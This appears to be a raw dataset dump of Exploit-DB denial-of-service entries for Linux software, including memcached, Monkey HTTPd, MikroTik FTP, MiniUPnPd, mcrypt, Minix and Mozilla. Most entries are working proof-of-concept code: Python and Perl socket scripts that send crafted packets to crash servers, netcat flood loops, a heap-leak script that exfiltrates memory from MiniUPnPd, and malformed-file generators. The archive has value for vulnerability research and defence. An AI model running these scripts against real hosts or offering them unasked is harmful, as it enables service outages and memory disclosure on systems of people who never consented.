deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33480
Description: MATLAB R2009b - 'dtoa' Implementation Memory Corruption
Type: dos
Platform: linux
Date: 2010-01-08
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/37688/info

MATLAB is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

MATLAB R2009b is affected; other versions may also be vulnerable. 

cxib=0.<?php echo str_repeat("1",296450); ?>
Exploit-DB #22938
Description: mcrypt 2.6.8 - Stack Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2012-11-26
Author: _ishikawa

Exploit:
#!/usr/bin/env python

# mcrypt <= 2.6.8 stack-based buffer overflow poc
# http://mcrypt.sourceforge.net/
# (the command line tool, not the library)
#
# date: 2012-09-04
# exploit author: _ishikawa
# tested on: ubuntu 12.04.1
# tech: it overflows in check_file_head() when decrypting .nc files with too long salt data
#
# shout-outs to all cryptoparty people

import sys

sprawl = 105
gibson = "\x00\x6d\x03\x40\x73\x65\x72\x70\x65\x6e\x74\x00\x20\x00\x63\x62"
gibson += "\x63\x00\x6d\x63\x72\x79\x70\x74\x2d\x73\x68\x61\x31\x00"
gibson += chr(sprawl)
gibson += ("A" * sprawl)
gibson += (chr(0) * 3)

try:
  count0 = open("cyberpunk.nc", "wb")
  count0.write(gibson)
  count0.close()
except IOError:
  print "file error"
  sys.exit(1)

print "now run  mcrypt -d cyberpunk.nc"
Exploit-DB #30579
Description: Media Player Classic 6.4.9 - Malformed AVI Header Multiple Remote Vulnerabilities
Type: dos
Platform: linux
Date: 2007-09-12
Author: Code Audit Labs

Exploit:
source: https://www.securityfocus.com/bid/25650/info

Media Player Classic (MPC) is prone to multiple remote vulnerabilities, including a heap-based buffer-overflow issue and an integer-overflow issue, when handling malformed AVI files.

An attacker can exploit these issues to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Media Player Classic 6.4.9.0 is vulnerable; other versions may also be affected.

The following examples of AVI header data are available:

69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10

indx truck size 0xffffffff
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF

indx truck size 0xffffff00
wLongsPerEntry 0xffff
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0xFFFFFFFF

69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
Exploit-DB #33850
Description: memcached 1.4.2 - Memory Consumption Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-04-27
Author: fallenpegasus

Exploit:
source: https://www.securityfocus.com/bid/39577/info

memcached is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to allocate large amount of memory, hanging or crashing the application.

memcached versions prior to 1.4.3 are affected. 

cat /dev/zero | nc -q1 127.0.0.1 11211
Exploit-DB #40696
Description: Memcached 1.4.33 - 'Add' (PoC)
Type: dos
Platform: linux
Date: 2016-11-01
Author: p0wd3r / dawu

Exploit:
# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_ADD = "\x02"  
key_len = struct.pack("!H",0xfa)  
extra_len = "\x08"  
data_type = "\x00"  
vbucket = "\x00\x00"  
body_len = struct.pack("!I",0xffffffd0)  
opaque = struct.pack("!I",0)  
CAS = struct.pack("!Q",0)  
extras_flags = 0xdeadbeef  
extras_expiry = struct.pack("!I",0xe10)  
body = "A"*1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len  
packet += data_type + vbucket + body_len + opaque + CAS  
packet += body  
if len(sys.argv) != 3:  
        print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()
Exploit-DB #40695
Description: Memcached 1.4.33 - 'Crash' (PoC)
Type: dos
Platform: linux
Date: 2016-11-01
Author: p0wd3r / dawu

Exploit:
# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_PREPEND_Q = "\x1a"  
key_len = struct.pack("!H",0xfa)  
extra_len = "\x00"  
data_type = "\x00"  
vbucket = "\x00\x00"  
body_len = struct.pack("!I",0)  
opaque = struct.pack("!I",0)  
CAS = struct.pack("!Q",0)  
body = "A"*1024

if len(sys.argv) != 3:  
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len  
packet += data_type + vbucket + body_len + opaque + CAS  
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"  
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s1.connect((sys.argv[1],int(sys.argv[2])))  
s1.sendall(set_packet)  
print s1.recv(1024)  
s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s2.connect((sys.argv[1],int(sys.argv[2])))  
s2.sendall(packet)  
print s2.recv(1024)  
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s3.connect((sys.argv[1],int(sys.argv[2])))  
s3.sendall(get_packet)  
s3.recv(1024)  
s3.close()
Exploit-DB #40697
Description: Memcached 1.4.33 - 'sasl' (PoC)
Type: dos
Platform: linux
Date: 2016-11-01
Author: p0wd3r / dawu

Exploit:
# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_SET = "\x21"  
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()
Exploit-DB #35478
Description: MHonArc 2.6.16 - Tag Nesting Remote Denial of Service
Type: dos
Platform: linux
Date: 2010-12-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/46923/info

MHonArc is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to consume all CPU resources, denying service to legitimate users.

MHonArc versions 2.6.16 and prior are vulnerable. 

<bo<bo<bo<bo<body>dy>dy>dy>dy>
Exploit-DB #22796
Description: MidHosting FTP Daemon 1.0.1 - Shared Memory Local Denial of Service
Type: dos
Platform: linux
Date: 2003-06-18
Author: Frank DENIS

Exploit:
source: https://www.securityfocus.com/bid/7956/info

It has been reported that MidHosting FTP Daemon does not properly implement shared memory when the m flag (-m) is enabled. Because of this, an attacker could corrupt process memory, causing the service to crash. 

<?php
# mhftpd denial of service

define('SHMSIZE', 16384);

if (($shmid = shmop_open(ftok('/tmp', 'U'), 'w', 0777, SHMSIZE)) == -1) {
die();
}
shmop_write($shmid, str_repeat('A', SHMSIZE), 0);

?>
Exploit-DB #44450
Description: MikroTik 6.41.4 - FTP daemon Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2018-04-13
Author: FarazPajohan

Exploit:
################
#Title: MikroTik 6.41.4 Denial of service FTP daemon crash
#CVE: CVE-2018-10070
#CWE: CWE-400
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: https://mikrotik.com/
#Version : 6.41.4 (Released 2018-Apr-05) | All Version
#Date: 13-05-2018
#Category: Network Appliance
#Description: A vulnerability in MikroTik Version 6.41.4 could allow an unauthenticated remote attacker to exhaust all available CPU and all available RAM by sending crafted FTP requests on port 21 that begins with many '\0' characters, #preventing the affected router from accepting new FTP connections. The router will reboot after 10 minutes, logging a "router was rebooted without proper shutdown" message.
#POC: https://vimeo.com/264461602
################

for i in `seq 1 100`

do
  cat craft |  nc -nv <MikroTik IP> 21 &
  sleep 2
done
Exploit-DB #46278
Description: MiniUPnPd 2.1 - Out-of-Bounds Read
Type: dos
Platform: linux
Date: 2019-01-29
Author: b1ack0wl

Exploit:
#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc

import requests, socketserver, argparse, sys

class OK_HTTP_Response(socketserver.StreamRequestHandler):
  def handle(self):
    self.request.settimeout(self.server.timeout)
    self.server.notify = b""
    try:
      line = self.rfile.read(1)
      while len(line) > 0:
        self.server.notify += line
        line = self.rfile.read(1)
    except:
      pass
    self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")

def splash():
  print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
  print("[*] by b1ack0wl")

def leak_data(args):
  leak_size = ((1024*args.leak_amount)+526)
  callback_uri= "A" * leak_size
  headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
  server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
  server.timeout = args.timeout
  print("[+] Sending request...")
  requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
  server.handle_request()
  leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
  print("[+] Leaked Data: {}".format(leaked_data))
  print("[+] Leaked Length: {}".format(len(leaked_data)))
  print("[+] Done")

def main():
  poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
  poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
  poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
  poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
  poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
  poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
  poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
  args = poc_parser.parse_args()
  arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
  for i in arguments:
    if getattr(args, i) == None:
      poc_parser.print_help()
      sys.exit(1)
  leak_data(args)

if __name__ == '__main__':
    splash()
    main()
Exploit-DB #32112
Description: Minix 3.1.2a - Psuedo Terminal Denial of Service
Type: dos
Platform: linux
Date: 2008-07-23
Author: kokanin

Exploit:
source: https://www.securityfocus.com/bid/30357/info

Minix is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users.

Minix 3.1.2a is vulnerable; other versions may also be affected. 

$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

...disconnected
telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.
Exploit-DB #35173
Description: Minix 3.3.0 - Local Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2014-11-06
Author: nitr0us

Exploit:
# Exploit Title: MINIX 3.3.0 Local Denial of Service
# Exploit Author: nitr0us
# Vendor Homepage: www.minix3.org
# Software Link: http://www.minix3.org/download/index.html
# Version: 3.3.0
# Tested on: MINIX 3.3.0 x86

Attached three PoCs (malformed ELFs) and a screenshot of the panic.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35173.zip

----

MINIX 3.3.0 is prone to local kernel panic due to malformed program headers in an ELF executable.
Attached three PoCs that panicked the OS, and their modified fields:

=================================================================================

[+] Malformed ELF: 'orc_0064':


[+] Fuzzing the Program Header Table with 4 entries
(PHT[0]->p_vaddr = 0x08056919, p_paddr = 0xcafed00d) | PHT[0] rule [03]
executed
(PHT[0]->p_flags = 0xf0000005) | PHT[0] rule [10] executed
(PHT[0]->p_flags = 0xfff00005) | PHT[0] rule [15] executed
(PHT[3]->p_type = 0x0) | PHT[3] rule [01] executed
(PHT[3]->p_vaddr = 0x1905af52, p_paddr = 0x1905af52) | PHT[3] rule [03]
executed
(PHT[3]->p_type = 0x70031337) | PHT[3] rule [06] executed
(PHT[PT_LOAD].p_vaddr reordered [descending]) | PHT rule [20] executed

=================================================================================

[+] Malformed ELF: 'orc_0090':


[+] Fuzzing the Program Header Table with 4 entries
(PHT[0]->p_offset = 0xffff0000) | PHT[0] rule [02] executed
(PHT[3]->p_type = 0x7defaced) | PHT[3] rule [06] executed

=================================================================================

[+] Malformed ELF: 'orc_0092':


[+] Fuzzing the Program Header Table with 4 entries
(PHT[0]->p_filesz = 0x0004fdec, p_memsz = 0x41424344) | PHT[0] rule [04]
executed
(PHT[3]->p_type = 0x6fffffff) | PHT[3] rule [14]

=================================================================================
Exploit-DB #21482
Description: MIT PGP Public Key Server 0.9.2/0.9.4 - Search String Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2002-05-24
Author: Max

Exploit:
source: https://www.securityfocus.com/bid/4828/info

The PGP Public Key Server is a freely available, open source software package distributed by MIT. It is designed for use on Linux and Unix operating systems.

The PGP Public Key Server does not properly handle long search strings. Under some conditions, it may be possible to pass a long string to the server that could result in a buffer overflow. This may result in the overwriting of stack variables, including the return address. It should be noted that this vulnerability would be difficult to exploit, as client data is passed through isalnum() and tolower().

gpg --search-keys `perl -e "print 'A'x512"`

echo -e "GET /pks/lookup?op=index&search=`perl -e "print 'A'x512"`"| nc example.com 11371
Exploit-DB #238
Description: ml2 - Local users can Crash processes
Type: dos
Platform: linux
Date: 2001-01-03
Author: Stealth

Exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <syslog.h>

#error

int main(int argc, char **argv)
{
   	char foo[1000];
        char bigmsg[10000];
	char *s, *hold_s; 
	int i = 0;
        
        memset(bigmsg, 'X', sizeof(bigmsg)-1);
   	if (argc < 2) {
           	printf("usage: %s <pid to kill>\n", argv[0]);
                exit(1);
        }
//	fork();
        memset(foo, 0, sizeof(foo));
        snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]);
   	while (access(foo, F_OK) == 0) {
           	s = malloc(10000);
		if (s == NULL) {
			if (hold_s)
				free(hold_s);
/*			if (s)
				s[i%10000] = 0;
*/			printf("crashing ... \n");
			openlog("b00m", 0, 0);
        		syslog(1, bigmsg);
			closelog();
		}
                printf("%d\r", i++); fflush(stdout);
		hold_s = s;
        }
        return 0;
}


// milw0rm.com [2001-01-03]
Exploit-DB #22433
Description: Monkey HTTP Daemon 0.4/0.5/0.6 - Excessive POST Data Buffer Overflow
Type: dos
Platform: linux
Date: 2003-03-24
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/7202/info


Monkey HTTP Daemon is prone to a boundary condition error. This condition occurs when the server attempts to handle excessive HTTP POST data. Exploitation could allow a remote attacker to corrupt sensitive regions of memory with attacker-supplied values, resulting in code execution. Exploitation attempts may also result in a denial of service. 

#!/usr/bin/perl
# monkey-nuke.pl
# Monkey HTTPd Remote Buffer Overflow
# Discovery/Exploit by Matthew Murphy
use IO::Socket;
print STDOUT "What host to connect to \[\]\: ";
$host = trim(chomp($line = <STDIN>));
print STDOUT "What port to connect to \[80\]\: ";
$port = trim(chomp($line = <STDIN>));
$addr = "$host\:$port";
print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
$script = trim(chomp($line = <STDIN>));
$buffer = "A"x11000;
$exploit = "POST /$script HTTP/1.0\r\n";
$exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
$exploit.= "Content-Length: 11000\r\n\r\n";
$exploit.= "$buffer\r\n\r\n";
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
print $f $exploit;
sleep 5;
undef $f;
Exploit-DB #10469
Description: Monkey HTTP Daemon < 0.9.3 - Denial of Service
Type: dos
Platform: linux
Date: 2009-12-16
Author: Patroklos Argyroudis

Exploit:
#Monkey HTTP Daemon is prone to a denial-of-service vulnerability.

#Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

#Versions prior to Monkey HTTP Daemon 0.9.3 are vulnerable. 

#!/usr/bin/env python
# monkeyex.py -- Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for Monkey web server version <= 0.9.2:
#
# http://census-labs.com/news/2009/12/14/monkey-httpd/

import os
import sys
import socket

GET = "GET / "

def main(argv):
    argc = len(argv)

    if argc != 3:
        print "usage: %s <host> <port>" % (argv[0])
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])

    print "[*] target: %s:%d" % (host, port)

    payload = GET
    payload += "HTTP/1.1\r\nConnection:\n\r\n\r\n";

    print "[*] payload: %s" % (payload)

    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))

    print "[*] attempting to crash one Monkey worker thread.."
    sd.send(payload)
    sd.close()

if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)

# EOF
Exploit-DB #25837
Description: Monkey HTTPd 1.1.1 - Crash (PoC)
Type: dos
Platform: linux
Date: 2013-05-30
Author: Doug Prostko

Exploit:
Title:
======
Monkey HTTPD 1.1.1 - Denial of Service Vulnerability

Date:
=====
2013-05-28

References:
===========
http://bugs.monkey-project.com/ticket/181

Introduction:
=============
Monkey is a lightweight and powerful web server for GNU/Linux.

It has been designed to be very scalable with low memory and CPU consumption, the perfect solution for embedded devices. Made for ARM, x86 and x64.

Abstract:
=========
The vulnerability is a denial of service which is caused by sending a null byte in an HTTP request to the web server.

Report-Timeline:
================
2013-05-23:	Discovered vulnerability via fuzzing
2013-05-25:	Vendor Notification
2013-05-26:	Vendor Response/Feedback
2013-05-27:	Vendor Fix/Patch
2013-05-28:	PublicDisclosure

Status:
========
Published

Affected Products:
==================
Monkey HTTPD - version 1.1.1

Exploitation-Technique:
=======================
Remote

Details:
========
A bug discovered in Monkey's HTTP parser allows an attacker to cause a segmentation fault in one of the daemon's threads using a specially crafted request containing a null byte. An attacker can crash all the available threads by sending the specially crafted request multiple times, rendering the server useless for legitimate users.

Proof of Concept:
=================
The vulnerability can be exploited by remote attacker without any special privileges. The placement of the null byte within the request does not seem to have any effect on the result. The null byte may even be used instead of an HTTP method such as, GET. Below is an example of how this bug can be manually triggered:

ruby -e 'puts "GET /\x00 HTTP/1.1\r\n\r\n"'|netcat localhost 2001

Solution:
=========
This vulnerability has been fixed for the 1.2.0 release.

Risk:
=====
The security risk of the redirection vulnerability is estimated as low(+).

Credits:
========
Doug Prostko <dougtko[at]gmail[dot]com> - Vulnerability discovery
Exploit-DB #15974
Description: Mono/Moonlight Generic Type Argument - Privilege Escalation
Type: dos
Platform: linux
Date: 2011-01-11
Author: Chris Howie

Exploit:
Sources:  https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
https://www.securityfocus.com/bid/45051/info

Mono and Moonlight is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. 

PoC:

using System;
using System.Reflection;

public class FakeString {
    public int length;
    public char start_char;
}

public class TestCase {
    private static FakeString UnsafeConversion<T>(T thing)
        where T : FakeString
    {
        return thing;
    }

    public static void Main() {
        var a = "foo";
        var b = MakeMutable(a);

        Console.WriteLine(a);
        b.start_char = 'b';
        Console.WriteLine(a);
    }

    private static FakeString MakeMutable(string s)
    {
        var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
        var m2 = m.MakeGenericMethod(typeof(string));

        var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);

        return d(s);
    }
}
Exploit-DB #37306
Description: Mosh - Remote Denial of Service
Type: dos
Platform: linux
Date: 2012-05-22
Author: Timo Juhani Lindfors

Exploit:
source: https://www.securityfocus.com/bid/53646/info

Mosh is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the affected application to crash or to enter an endless loop, denying service to legitimate users. 

echo -en "\e[[PII_REDACTED]L"
echo -en "\e[[PII_REDACTED]M"
echo -en "\e[[PII_REDACTED]@"
echo -en "\e[[PII_REDACTED]P"
Exploit-DB #27257
Description: Mozilla (Multiple Products) - iFrame JavaScript Execution
Type: dos
Platform: linux
Date: 2006-02-22
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/16770/info

Multiple Mozilla products are prone to a script-execution vulnerability. 

The vulnerability presents itself when an attacker supplies a specially crafted email to a user containing malicious script code in an IFRAME and the user tries to reply to the mail. Arbitrary JavaScript can be executed even if the user has disabled JavaScript execution in the client. 

The following mozilla products are vulnerable to this issue:
- Mozilla Thunderbird, versions prior to 1.5.0.2, and prior to 1.0.8
- Mozilla SeaMonkey, versions prior to 1.0.1
- Mozilla Suite, versions prior to 1.7.13

<html>
<body>
<iframe src="javascript:alert('Found by www.sysdream.com !')"></iframe>
</body>
</html>

* Denial of service (application crash) :

<html>
<body>
<iframe src="javascript:parent.document.write('Found by www.sysdream.com
!')"></iframe>
</body>
</html>